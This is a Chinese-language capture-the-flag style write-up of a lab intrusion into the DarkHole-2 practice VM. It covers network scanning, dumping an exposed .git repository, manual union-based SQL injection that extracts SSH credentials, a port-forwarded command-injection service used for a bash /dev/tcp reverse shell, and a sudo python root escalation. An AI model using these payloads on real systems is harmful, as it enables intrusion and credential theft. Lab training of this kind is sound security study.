虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)
靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
。
输入arp-scan -l
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.105
,。
输入nmap -sV -p- 192.168.56.105
扫描靶机所有端口开放情况。
可以看到端口22、80
是开放的。
浏览器输入192.168.56.105:80。
命令行输入whatweb 192.168.56.105
查询网站指纹信息。
没什么关键信息。
输入dirsearch -u http://192.168.56.105
,扫描网站目录。
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper。
先下载安装pip install git-dumper
,然后输入git-dumper http://192.168.56.105/.git/ neosHack
将源代码导入本地neosHack目录中。
我们进入该目录,输入git log查看日志。
发现有三次提交记录,我们使用git diff
命令挨个查看三次提交在哪里修改过代码。
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户[email protected]
和密码321
。
我们使用这个账号重新登陆页面。
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。
1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1
和?id=1 and 1=2
,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点:
添加单引号:?id=1'
,页面空白,重新添加双引号:?id=1"
,页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数:
构造参数:?id=1' order by 6 -- neos
,正常显示,当order by 7
时页面空白,说明数据表为6列。
4)测试回显位:
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos
,发现回显位为2,3,5,6号位。
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名:
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neos
,
我们在对应的回显位分别测出了数据库名,版本,数据库的安装路径,数据库文件的存放路径。
2>测数据表名:
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
测出了数据库darkhole_2有两个数据表ssh和users。
3>测属性名:
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos
,发现该表有三个属性名id、pass、user。
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos
,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos
得知那个没显示全的属性名为CURRENT_CONNECTIONS。
4>测数据项:
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos
,发现只有一个用户jehad,密码为fool。
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos
,发现依然只有一个用户。
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
sudo -l
、find / -perm -u=s -type f 2>/dev/null
没发现什么可以提权的地方。
我们继续输入cat .bash_history
查看历史文件,发现9999端口是有服务的。
我们输入ss -antp
,查看socket信息,发下9999端口确实有活动信息。
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy:
输入curl "http://127.0.0.1:9999/?cmd=whoami"
,发现9999端口可以以losy的权限执行命令:
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh [email protected] -L 9999:localhost:9999
:
本地监听nc -lvvp 4444
,
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'
,对其进行URL编码。
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27
,成功反弹losy的shell。
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
我们ssh登陆losy用户,
发现可以以root执行python,
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
,成功提权到root,并在/root目录下发现flag!!!
至此,渗透结束。
本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。